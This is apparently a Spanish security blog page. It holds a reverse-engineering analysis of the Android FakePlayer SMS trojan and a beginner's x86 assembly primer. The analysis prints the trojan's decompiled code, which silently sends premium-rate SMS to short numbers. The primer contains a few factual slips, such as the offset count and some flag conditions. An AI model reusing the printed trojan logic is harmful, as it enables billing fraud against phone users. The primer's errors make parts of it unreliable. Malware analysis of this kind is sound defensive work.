Show me your Kung Fu

Hace unas semanas tuve la oportunidad de asistir como ponente a la No Con Name 2011, allí estuve dando una charla sobre Android, cómo realizar un análisis dinámico y estático de un malware, análisis forenses, etc. También se presentó una pequeña PoC (desarrollada junto a mi compañero de Malware Intelligence @ehoo) que permitía realizar tapjacking en los smartphones Android, llegando a afectar hasta un total del 98.6% de los dispositivos que hay en el mercado.

Para los que no pudísteis asistir, os dejo por aquí todo el material que se utilizó.

Reversing Trojan-SMS.AndroidOS.FakePlayer.a

Introducción

Trojan-SMS.AndroidOS.FakePlayer.a es el nombre con el que se ha conocido el primer troyano para smartphones Android. El método de propagación era distribuirse a través del market como una supuesta aplicación para reproducir contenidos multimedia. Poco tiempo después era borrado del mismo al descubrir que su verdadero objetivo era realizar el envío de mensajes SMS a números de tarificación especiales.

En lo que respecta a este post, me basaré en hacer un reversing del APK para explicar de forma más objetiva y detallada el funcionamiento del mismo.

Preparando el terreno

Un análisis rápido en VirusTotal nos muestra que la aplicación a día de hoy obtiene un 69.8% de ratio de detección para 30 de 43 motores antivirus.

El apk con MD5: fdb84ff8125b3790011b83cc85adce16 presenta la siguiente estructura una vez lo desempaquetamos:

sebas@Helios:~/Android/infected/FakePlayer.SMS.Android.Trojan.apk_FILES$ tree .
.
|-- AndroidManifest.xml
|-- classes.dex
|-- META-INF
|   |-- CERT.RSA
|   |-- CERT.SF
|   `-- MANIFEST.MF
|-- res
|   |-- drawable
|   |   `-- icon.png
|   `-- layout
|       `-- main.xml
`-- resources.arsc

4 directories, 8 files

El icono asociado a la aplicación es:

El contenido del fichero AndroidManifest.xml nos muestra que el único permiso que solicita es:

  • android.permission.SEND_SMS → Posibilita al teléfono enviar mensajes SMS.

Llegados a este punto lo más normal es cuestionarnos el por qué, ya que estamos ante una aplicación cuya finalidad es reproducir contenidos multimedia, no enviar mensajes de texto.

Siguiendo con el análisis, haremos un reversing del fichero classes.dex que contiene la biblioteca de funciones y nos servirá para hacernos una idea de qué se esconde realmente tras esta aplicación.

El proceso pasa por convertir el .dex a fichero .jar:

sebas@Helios:~/Android$ ./dex2jar FakePlayer.SMS.Android.Trojan.apk_FILES/classes.dex

Esto nos creará un fichero de clases llamado classes.dex.dex2jar.jar que al descomprimir nos devolverá todo el conjunto de ficheros .class que componen la aplicación. El siguiente paso será transformarlo a extensión .jad y trabajar directamente sobre el código.

¡Al ataque!

Analizando previamente la aplicación con la herramienta Understand de SciTools, podemos ver cómo funciona esta a través del diagrama de dependencias:

Parece ser que el peso de la aplicación corre a cargo del fichero de clases MoviePlayer.jad, que hace uso de declaraciones como telephony.SmsManager como podemos ver en el siguiente gráfico:

Y en su código fuente:

public void onCreate(Bundle bundle)
    {
        super.onCreate(bundle);
        DataHelper datahelper = new DataHelper(this);
        if(datahelper.canwe())
        {
            TextView textview = new TextView(this);
            textview.setText("\u041F\u043E\u0434\u043E\u0436\u0434\u0438\u0442\u0435, \u0437\u0430\u043F\u0440\u0430\u0448\u0438\u0432\u0430\u0435\u0442\u0441\u044F \u0434\u043E\u0441\u0442\u0443\u043F \u043A \u0432\u0438\u0434\u0435\u043E\u0442\u0435\u043A\u0435..");
            setContentView(textview);
            SmsManager smsmanager = SmsManager.getDefault();
            String s = "3353";
            String s1 = "798657";
            String s2 = null;
            android.app.PendingIntent pendingintent = null;
            android.app.PendingIntent pendingintent1 = null;
            int i;
            try
            {
                smsmanager.sendTextMessage(s, s2, s1, pendingintent, pendingintent1);
            }
            catch(Exception exception)
            {
                i = Log.e("Oops in playsound", "", exception);
            }
            s = "3354";
            s2 = null;
            pendingintent = null;
            pendingintent1 = null;
            int j;
            try
            {
                smsmanager.sendTextMessage(s, s2, s1, pendingintent, pendingintent1);
            }
            catch(Exception exception1)
            {
                j = Log.e("Oops in playsound", "", exception1);
            }
            s = "3353";
            s2 = null;
            pendingintent = null;
            pendingintent1 = null;
            int k;
            try
            {
                smsmanager.sendTextMessage(s, s2, s1, pendingintent, pendingintent1);
            }
            catch(Exception exception2)
            {
                k = Log.e("Oops in playsound", "", exception2);
            }
            datahelper.was();
        }
        finish();
    }

Una lectura rápida al código nos revela que se definen dos atributos y un método para la instancia creada de la clase TextView:

  • Usamos el string s para almacenar los números de destino 3353 (procedente de Kazajistán)y 3354.
  • Usamos el string s1 para almacenar el número de origen 798657.
  • Hacemos diversas llamadas a la API de Android, entre ellas al método setText al que le pasamos el mensaje a enviar codificado en caracteres hexadecimales.

Una vez inicializadas estas variables se realiza la llamada del método sendTextMessage al que se le pasan un total de cinco parámetros, en este caso, primero se hace el envío al 3353.

Posteriormente volvemos a realizar otra llamada al mismo método pero pasándole como número de destino 3354.

Conclusión

Se trata del primer supuesto troyano para Android, sus funcionalidades como tal más bien parecen una prueba de concepto para tantear el terreno, que una aplicación diseñada para causar daño como hemos podido ver en Geimini o Dandelion.

Bien es cierto que al proceder los números de destino de Kazajistán, el cobro que supone un SMS premium sólo tendría sentido si el usuario fuera procedente de ese país o de algunas de las compañías de la operadora, que parece tener también sede en Rusia.

Principios en ensamblador

Introducción

El objetivo de esta entrada no es otro que dar unas nociones básicas de ASM para tener una base con la que empezar a realizar reversing para los menos avezados.

¿Qué es?

Una entrada donde se condensen los principios básicos a conocer y tener en cuenta para introducirnos un poco en el mundo del reversing. Tómalo como una pequeña guía de referencia, nada más.

Para un buen aprendizaje de ASM consulta el libro “The art of assembly language”.

¿Qué no es?

No se trata de un tutorial sobre programación en ASM, ni se trata de explicar conceptos avanzados en la materia ni lenguaje.

Prerrequisitos

¿Qué es la ingeniería inversa?

Wikipedia– (El objetivo de la ingeniería inversa (reversing) es obtener información a partir de un producto accesible al público, con el fin de determinar de qué está hecho, qué lo hace funcionar y cómo fue fabricado.

El método se denomina así porque avanza en dirección opuesta a las tareas habituales de ingeniería, que consisten en utilizar datos técnicos para elaborar un producto determinado.

La ingeniería inversa es un método de resolución. Aplicar ingeniería inversa a algo supone profundizar en el estudio de su funcionamiento, hasta el punto de que podamos llegar a entender, modificar y mejorar dicho modo de funcionamiento.)

Adentrándonos en ASM

Obtener unas nociones básicas de ensamblador es fundamental para comenzar nuestra incursión en el mundo del reversing, hazte a la idea de que tendrás que manejarte al dedo con él.

Olvídate de las facilidades que podías gozar en python, C, C++, perl, etc. Esto es otra historia, aquí usaremos abreviaturas y números, y probablemente al comienzo todo te parezca bastante lioso e incluso frustrante.

Bits, Bytes, Words DWords

  • BIT – Unidad mínima de información. Su valor puede oscilar entre el ‘0’ o ‘1’. El sistema binario se forma por la unión de varios bits.
  • BYTE – Un byte está formado por 8 bits. Su valor puede oscilar entre 0-255. Es un sistema en base 2. Nosotros para facilitar la lectura de los números binarios, usaremos el sistema hexadecimal (sistema en base 16) por la rapidez y facilidad para leer.
  • WORD – Son dos bytes o lo que es lo mismo 16 bits. Su valor oscila entre 0-65535d (0h – 0FFFFh)
  • DWORD – Son dos words o lo que es lo mismo 32 bits. Su valor oscila entre 0-4294967295d (0h-0FFFFFFFFh)

Registros

Similar a las variables. Un registro es una zona especial en la memoria de nuestro procesador donde podemos almacenar y consultar un valor único. Con la salvedad de que existen un número limitado de ellos y cada uno tiene un cometido específico.

En arquitecturas Intel (que será la elegida por nosotros) podemos distinguir un total de 8 registros:

  • EAX (Extended Accumulator Register) – Destacamos dos funcionalidades de uso común para este tipo de registro: Almacenar el valor de retorno de una función y utilizarlo como contenedor para resolver sencillas operaciones matemáticas.

    Es un registro volátil, dado que su valor no es almacenado. A pesar de que se establezca el valor de retorno de una función al contenido del mismo.

  • EBX (Extended Base Register) – Suele utilizarse como apoyo para acelerar el cálculo de operaciones. Es un registro no volátil.
  • ECX (Extended Counter Register) – Registro volátil que puede ser utilizado como contador de bucle o contenedor de parámetros que sean pasado a funciones
  • EDX (Extended Data Register) – Registro volátil usado mayormente como parámetro para funciones. Normalmente se usa también para almacenar variables a corto plazo dentro de una función.
  • ESI (Extended Source Index) – Registro no volátil que normalmente es usado como puntero. Es utilizado por aquellas funciones que requieren un origen y un destino para los datos que se utilizan. Apuntando este al origen en todo momento.
  • EDI (Extended Destination Index) – Al igual que el registro ESI, es no volátil y usado como puntero, a diferencia de que este apunta al destino siempre.
  • EBP (Extended Base Pointer) – Registro no volátil con dos usos comunes según el compilador que utilicemos, así puede desempeñar el papel de un registro como otro cualquiera o ser el puntero al marco de pila.
  • ESP (Extended Stack Pointer) – Almacena un puntero a la parte inferior de la pila. Tras ejecutar una función el valor que tenía el registro al principio debe de coincidir con el asociado tras la función
  • EIP (Extended Instruction Pointer)

Estos registros de 32 bits a su vez pueden ser divididos en registros de menor tamaño (16 bits, y 8 bits, distinguiendo la parte superior e inferior).

Por tanto tenemos:

  • 8 registros de 32 bits: EAX, EBX, ECX, EDX, ESI, EDI, EBP, ESP EIP
  • 8 registros de 16 bits: AX, BX, CX, DX, SI, DI, BP, SP, IP
  • 8 registros de 8 bits: AH, AL, BH, BL, CH, CL, DH, DL

Donde H hace referencia a Higher (Bits más significantes de la dirección) y L a Lower(Bits menos significantes de la dirección).

De esta forma ECX = 0×24101989, quedaría como CX = 0×1989, CH = 0×19 y CL = 0×89, y de paso ya sabéis cuándo hacerme un regalo (rubias por favor ;D).

Ahora mismo debemos de quedarnos con una idea ligeramente similar a esta:



Las banderas (Flags)

Se tratan de simples bits que nos indican el estado de algo. En arquitecturas de 32bits tenemos un total de 32 banderas, pero nosotros sólo vamos a utilizar tres de ellas:

  • Z-Flag – (Zero flag) Será el flag que más acabaremos usando, cuando su valor es ‘1’ nos indica que el resultado de una operación fue ‘0’. Su valor puede ser cambiado por todas aquellas instrucciones que realicen operaciones matemáticas y por la instrucción ‘cmp
  • C-Flag – (Carry flag) Su valor va ligado al uso de acarreo en operaciones de suma y resta.
  • O-Flag – (Overflow flag) Su valor cambia a disposición del valor que adopte el bit más significativo. Si queremos realizar la suma de 127 consigo mismo, este es representado como 0111 1111, en este momento el MSB es ‘0’, pero al realizar la operación (0111 1111 + 0111 1111) obtenemos 1111 1110, siendo ‘1’ ahora el valor del MSB.

Segmentos (Segments) y desplazamientos (Offsets)

El concepto de segmento podemos definirlo como la zona de memoria donde las instrucciones (CS), datos (DS) o pila (SS) son almacenadas.

A su vez cada segmento es dividido en ‘offsets’. Así en aplicaciones de 32-bits estos offsets estos van numerados desde 00000000 a FFFFFFFF, o lo que es lo mismo 65536 zonas de memoria.

Por tanto podemos aceptar el concepto de offset como un valor indicativo de desplazamiento desde el punto de inicio del objeto hasta un punto dado, presumiblemente siempre dentro del mismo objeto.

Un ejemplo real de esto podemos ponerlo como un libro en el caso de un segmento, y una línea específica de una página como un offset.

La pila

Podemos ver el concepto de pila como una estructura de datos, en la que el modo de acceso a sus elementos es de tipo LIFO (Last Input First Output – Ultimo en entrar, primero en salir).

Distinguimos dos comandos para interactuar con ella:

  • Push (apilar) – Coloca un objeto en la pila.
  • Pop (desapilar) – Saca un objeto de la pila.

Cuando llamamos a una función, todos sus parámetros son almacenados en sentido inverso en la pila antes de hacer de pasar el flujo de ejecución a la función.

NuestraFuncion(int param1, int param2, char param3, float param4)

Esto en ensamblador quedaría:


push param4

push param3

push param2

push param1

call NuestraFuncion

add esp, 10h

Como comentabamos vamos pasando los parámetros a nuestra pila para posteriormente realizar la llamada. Después de acabar la ejecución de nuestra función el puntero a pila sigue teniendo 16 bytes por delante de lo que tenía en un principio. Con la intención de restaurar el estado original de la misma, debemos añadir al puntero el valor 10h que corresponde a los 4 elementos que hemos introducido en la pila (4bytes por cada instrucción push ejecutada).

Operaciones lógicas

A lo largo de nuestro recorrido deberemos conocer cómo funcionan las operaciones lógicas a nivel de bits:

  • Operación AND – Realiza la función booleana de producto lógico.
  • Operación OR – Realiza la función booleana de suma lógica.
  • Operación XOR – Realiza la función booleana de A’B+AB’.
  • Operación NOT – Realiza la función booleana de inversión o negación de una variable lógica.

Instrucciones

Instrucción NOP – Es una abreviatura de “No operation” y su uso es de simple relleno.

Desplazando datos:

  • ‘mov’ – Instrucción análoga a ‘=’, puede mover datos entre un registro y memoria, dos registros o incluso entre una constante y memoria.
  • ‘movsx’ – Versión especializada para usar con registros de diferentes tamaños y con signo.
  • ‘movzx’ – Versión especializada para usar con registros de diferentes tamaños y sin signo.
  • ‘lea’ (Load Effective Address) – Uso similar a ‘mov’ y utilizado para calcular desplazamientos en vectores, dado que podemos hacer uso de [dirección comienzo + offset*datasize] para encontrar la dirección de un elemento en concreto del vector. Su uso también se basa para cálculos de multiplicaciones y sumas.

Operaciones lógicas y matemáticas

  • ‘add’, ‘sub’ – Permiten sumar o restar respectivamente a un registro, un valor constante, un registro o un puntero.


    add eax, 5

    sub ecx, 5

    add ebx, eax

  • ‘inc’, ‘dec’ – Permiten incrementar o decrementar respectivamente un registro.


    inc ebx

    dec eax

  • ‘and’, ‘or’, ‘xor’, ‘neg’ – Instrucciones encargadas de realizar las operaciones lógicas a nivel de bits, que hemos explicado anteriormente.


    and eax, 5 ; eax = eax & 7

    xor eax, 0 ; eax = eax ^ 0

    or eax, 19 ; eax = eax | 19

    neg eax ; eax = !eax

    xor eax, eax ; eax = 0

  • ‘mul’, ‘imul’, ‘div’, ‘idiv’, ‘cdq’ – Correspondientes a las operaciones de multiplicación y división, ambas hacen uso de los registros de 64 bits edx:eax. ‘mul’ multiplica el valor sin signo almacenado en el registro eax con el operando y almacena el resultado en el registro de edx:eax. Por otro lado ‘imul’ realizad la misma operación a excepción de que el valor es con signo.


    mul ecx ; edx:eax =eax * ecx (Sin signo)

    imul ecx ; edx:eax = eax * ecx (Con signo)

    Cuando se usan dos parámetros, el comportamiento es el esperado, multiplica el primero por el segundo y almacena el resultado en el primer parámetro.

    ‘div’ divide el valor almacenado en el registro edx:eax por el operando y el cociente lo almacena en eax. El resto o módulo es almacenado en edx. Al igual que sucedía con ‘imul’ la operación ‘idiv’ permite utilizar valores con signo.


    div ecx ; eax = edx:eax / ecx (Sin signo)

    ; edx = edx:eax % ecx (Sin signo)

    idiv ecx ; eax = edx:eax / ecx (Con signo)

    ; edx = edx:eax % ecx (Con signo)

    Por otro lado la operación ‘cdq’ es usada antes que ‘idiv’ y su cometido es convertir el valor de 32bit almacenado en eax en un valor de 64 bit para almacenarlo en edx:eax sobreescribiendo cualquier valor que haya en edx con ceros en caso de ser eax positivo o con ‘F’ en caso de ser eax negativo.

  • ‘shl’, ‘shr’Shift Left y Shift Right respectivamente, nos permiten realizar desplazamiento a nivel de bits hacia la derecha e izquierda, al igual que los operadores << y >> usados en C.

Saltos Estas instrucciones son utilizadas en caso de bucles y condiciones de comprobación. Realizando una comprobación del valor que almacena el registro, dirección o constante asociada a la instrucción.

  • ‘jmp’ – Envía la ejecución del programa a la dirección especificada


    jmp 2420h ; Saltamos a la dirección 0×2420

  • ‘call’, ‘ret’ – ‘call’ tiene un uso similar a ‘jmp’ a excepción de que además de realizar el salto a la dirección solicitada, almacena en la pila la dirección de la instrucción ejecutada.

    Por otro lado ‘ret’ obtiene el tope de la pila y desplaza el flujo de ejecución de nuestra aplicación hasta la dirección de memoria asociada. Si el registro SP apunta a una dirección errónea o esta ha sido sobreescrita desencadenará que nuestra aplicación se cierre inesperadamente. Con estas instrucciones jugaremos más adelante.

  • ‘cmp’, ‘test’ – ‘cmp’ compara los dos operandos y establece una serie de flags como resultado de la operación realizada.

    Por otro lado ‘test’ realiza una operación and a nivel de bit entre las dos variables y posteriormente realiza una comparación con 0.

    Los flags más comunes:

    • Cero (Zero) – Lo establece únicamente si los dos elementos son iguales.
    • Mayor que (Greater than) – Lo establece si el primer elemento es mayor que el segundo.
    • Menor que (Less than) – Lo establece si el primer elemento es menor que el segundo.


    cmp eax, ebx ; Compara EAX y EBX y establece el flag Zero si son iguales

    cmp EAX, [404000] ; Compara EAX con el contenido de 404000

    test eax, eax

Otras instrucciones relacionadas con los saltos

  • ja – Salta si es mayor - CF=0 y ZF=0
  • jae – Salta si es mayor o igual - CF=0
  • jb (el whisky no) – Salta si es menor - CF=1
  • jbe – Salta si es menor o igual - CF=1 o ZF=1
  • jc – Salta si el flag de acarreo está establecido - CF=1
  • jcxz – Salta si CX es 0 - CX=0
  • je – Salta si la comprobación es igual - ZF=1
  • jecxz – Salta si ECX es 0 - ECX=0
  • jg - Salta si es mayor (Con signo) - ZF=0 y SF=OF
  • jge – Salta si es mayor o igual (CS) - SF=OF
  • jl – Salta si es menor (CS) - SF != OF
  • jle – Salta si es menor o igual (CS) - ZF=1 y OF != OF
  • jmp - Salta - Siempre salta
  • jna – Salta si no es mayor (Sin signo) - CF=1 o ZF=1
  • jnae - Salta si no es mayor o igual (SS) - CF=1
  • jnb - Salta si no es menor (SS) - CF=0
  • jnbe - Salta si no es menor o igual (SS) - CF=0 y ZF=0
  • jnc - Salta si el flag de acarreo no está establecido - CF=0
  • jne - Salta si no es igual - ZF=0
  • jng - Salta si no es mayor (CS) - ZF=1 o SF!=OF
  • jnge - Salta si no es mayor o igual (CS) - SF!=OF
  • jnl - Salta si no es menor (CS) - SF=OF
  • jnle - Salta si no es menor o igual (CS) - ZF=0 y SF=OF
  • jno - Salta si el flag de overflow no está establecido - OF=0
  • jnp - Salta si el bit de paridad no está establecido - PF=0
  • jns - Salta si el flag de signo no está establecido - SF=0
  • jnz - Salta si no es cero - ZF=0
  • jo - Salta si el flag de overflow está establecido - OF=1<7li>
  • jp - Salta si el bit de paridad está establecido - PF=1
  • jpe - Salta si el bit de paridad es igual - PF=1
  • jpo - Salta si el bit de paridad es impar - PF=0
  • js - Salta si el bit de signo está establecido - SF=1
  • jz - Salta si es cero - ZF=1